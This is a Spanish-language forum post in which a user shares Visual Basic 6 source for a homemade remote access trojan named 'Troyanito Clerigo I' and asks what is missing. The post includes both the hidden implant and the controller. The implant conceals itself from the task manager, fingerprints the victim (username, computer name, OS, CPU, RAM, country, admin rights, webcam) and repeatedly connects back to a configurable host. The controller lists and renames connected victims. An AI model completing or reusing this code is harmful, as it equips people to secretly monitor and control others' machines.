Para nada!! No entiendo la parte del servidor!! es que no la entiendo, no se explica bien!!! UF... Tengo ganas de saber como seria! pero... Me temo que no sÉ! no encuentro mi solucion!
Empesemos por pasos:
SERVIDOR:
CODIGO SERVIDOR:
Código: Seleccionar todo
Dim victima As String, name1 As String, so As String, ip As String, port As String
Dim webcam As String, pais As String, tor As String, nombrepc As String, procesador As String
Dim admin As Boolean
Private Sub form_load()
On Error Resume Next
Open Environ("windir") & "\KB007.txt" For Input As #1 'abrimos un archivo de texto en el directorio de windows
Input #1, victima 'leemos el contenido de este
If victima = "" Then 'si esta vacio
victima = "Default" 'le ponemos default a la victima
End If 'sino victima contendr? lo que contenga ese archivo, eso es para cuando cambiemos el nombre a la victima.
Close #1
Dim yo As Object
Set yo = CreateObject("wscript.shell")
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME)
nombrepc = Environ("ComputerName") 'esta variable contendr? el nombre del pc
name1 = Environ("UserName") 'el nombre de usuario
so = yo.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Productname") 'el sistema operativo
ip = "127.0.0.1" 'la ip, pueden hacer un edit server
port = 2300 'lo mismo, con el edit server lo editan?.
procesador = yo.regread("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString") 'j?ntenlo, es k no cab?a, es para el procesador....
App.TaskVisible = False 'para que no se vea en el admin de tareas en aplicaciones
If App.PrevInstance = True Then: End 'si ya esta en ejecuci?n salimos, para no tener 2 corriendo a la vez
Me.Visible = False 'para que no se vea el form?.
'Esto es para la webcam
Dim temp As Long
hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible, _
0, 0, 320, 240, Picture1.hWnd, 0)
If (hwdc <> 0) Then
webcam = "Si" 'entonces si tenemos webcam
temp = DestroyWindow(hwdc)
temp = SendMessage(hwdc, WM_CAP_DRIVER_DISCONNECT, 0&, 0&)
DoEvents
Else
webcam = "No" 'pues no
End If
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME) 'para obtener el pa?s
admin = CBool(IsNTAdmin(ByVal 0&, ByVal 0&)) 'para saber si somos admins o no
If admin = True Then
tor = "Si"
Else
tor = "No"
End If
End Sub
'la funci?n para obtener el idioma y pais
Public Function ObtenerIdioma(ByVal lInfo As Long) As String
Dim buffer As String, ret As String
buffer = String$(256, 0)
ret = GetLocaleInfo(LOCALE_USER_DEFAULT, lInfo, buffer, Len(buffer))
'Si Ret devuelve 0 es porque fall? la llamada al Api
If ret > 0 Then
ObtenerIdioma = Left$(buffer, ret - 1)
Else
ObtenerIdioma = ""
End If
End Function
'funci?n para obtener la memoria ram
Public Function GetRamSize() As String
Dim RamStats As MEMORYSTATUS
GlobalMemoryStatus RamStats
GetRamSize = Round((RamStats.dwTotalPhys / 1024) / 1024) + 1
End Function
Private Sub Timer1_Timer()
If WS.State <> 7 Then 'si no estamos conectados
WS.Close 'cerramos
WS.Connect ip, port
End If
End Sub
Private Sub WS_Connect() 'al haber conexi?n,enviamos todos los datos
WS.SendData "Conexion|" & victima & "|" & nombrepc & "|" & name1 & "|" & so & "|" & GetRamSize & "|" & pais & "|" & procesador & "|" & tor & "|" & webcam
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'al recibir los datos
On Error Resume Next
Dim datos As String
Dim data() As String
WS.GetData datos 'los recibimos
data = Split(datos, "|")
Select Case data(0)
Case "nombrecan" 'recuerden que fue lo que enviamos como marca al cambiar el nombre
Open Environ("windir") & "\KB007.txt" For Output As #1
Print #1, , data(1) 'ponemos en el texto el nombre que se cambi?
Close #1
End Select
End Sub
Este es el codigo que tengo puesto en el servidor, a parte del Winsock el timer y un picture1.
Ahora que mas tengo que añadirle al codigo? AQUI ME PIERDO! Y NO SOLO SOY YO EL QUE SE PIERDE EN EL FORO SOMOS MUCHOS.
Aqui tienes el aspecto del SERVIDOR:
Aqui tienes el aspecto del CLIENTE:
Y aqui te dejo el codigo del CLIENTE:
Código: Seleccionar todo
Public total As Integer
Private Sub form_load() 'al cargar el formulario
WS(0).LocalPort = 2300 'escuchamos en el puerto 2300
'Nota,seria mejor hacer un nuevo formulario,llamado Settings en donde se
'especifique el puerto ha escuchar,pero de momento mejro dejenlo fijo
WS(0).Listen 'Nos ponemos a la escucha
Label1.Caption = "Escuchando en el puerto " & "2300"
total = 0 'la variable totalindex sea 0
End Sub
Private Sub Timer1_Timer()
Dim v As Long, marca() As String
On Error Resume Next
For v = 1 To LV.ListItems.Count 'bucle que recorre todos lso elementos del listview
marca = Split(LV.ListItems(v).Key, "|") 'esto e sun identificador,lo sacamos de la key
If WS(marca(0)).State <> 7 Then 'si el estado de ese no es conectado
LV.ListItems.Remove (v) 'lo eliminamos de la lista porque no estamos conectados
End If
Next
Me.Caption = "Troyanito Clerigo I - " & LV.ListItems.Count & " conectado(s) -" 'ponemos el nombre de nuestro troyano y el nº de conectados
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long) 'cuando hay conexion
On Error Resume Next
total = total + 1 'sumamos 1 a esta variable
WS(Index).Close 'cerramos la conexion
WS(Index).Accept requestID 'aceptamos la peticion
Load WS(total)
WS(total).Listen 'nos ponemos a la escucha(pero fijenese que le sumamos 1,proque el indice esta ocupado
'se hizo conexion con ese indice asique le sumamos 1 para aceptar nuevas)escuhamos con ese indice
End Sub
Private Sub LV_Mousedown(Button As Integer, Shift As Integer, x As Single, y As Single) 'al clicar(en relaidad cuando se suelta el mouse)
On Error Resume Next
If LV.SelectedItem.Selected = False Then 'si no hay nada seleccionado salimos
Exit Sub 'salimos
ElseIf Button = 2 Then 'sino,si se pulsó el boton 2(derecho)
PopupMenu Menu 'mostramos el menu Menu
End If
End Sub
Private Sub name_click() 'al clicar en change name(de nombre name)
LV.StartLabelEdit 'que podamos editar el nombre
End Sub
Private Sub lv_AfterLabelEdit(Cancel As Integer, NewString As String) 'despues de cambiar el nombre
WS(LV.SelectedItem.Index - 1).SendData "nombrecan|" & NewString 'enviamos el identificador y el valor que se puso
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long) 'cuando recibimos datos
Dim datos As String
Dim data() As String 'array
WS(Index).GetData datos 'recibimos los datos y los guardamos en la variable "datos"
data = Split(datos, "|") 'partimos la variable datos por el identificador "|",para separar datos
Select Case data(0) 'según lo que contenga .Data(0) es el primer dato,usaremos eso como identificador
Case "Conexion"
Dim x As ListItem
Set x = LV.ListItems.Add(, Index & "|", data(1)) 'a?adimos los datos, y en la key el indice y "|" para luego partirlo y poder identificar
x.SubItems(1) = WS(Index).RemoteHostIP 'mas datos que a?adimos....
x.SubItems(2) = data(2) & "/" & data(3)
x.SubItems(3) = data(4)
x.SubItems(4) = data(5) & " MB"
x.SubItems(5) = data(6)
x.SubItems(6) = data(7)
x.SubItems(7) = data(8)
x.SubItems(8) = data(9)
x.SubItems(9) = "v.1"
End Select
End Sub
QUE ME FALTA??, Si tengo algo mal, porfavor indicame para coregir!! XD ok?
IMPORTANTE:
Donde tengo que poner esto:
[Enlace externo eliminado para invitados] ... YDEMAS.txt
¿Tengo que modificar ese codigo?
Gracias y Saludos!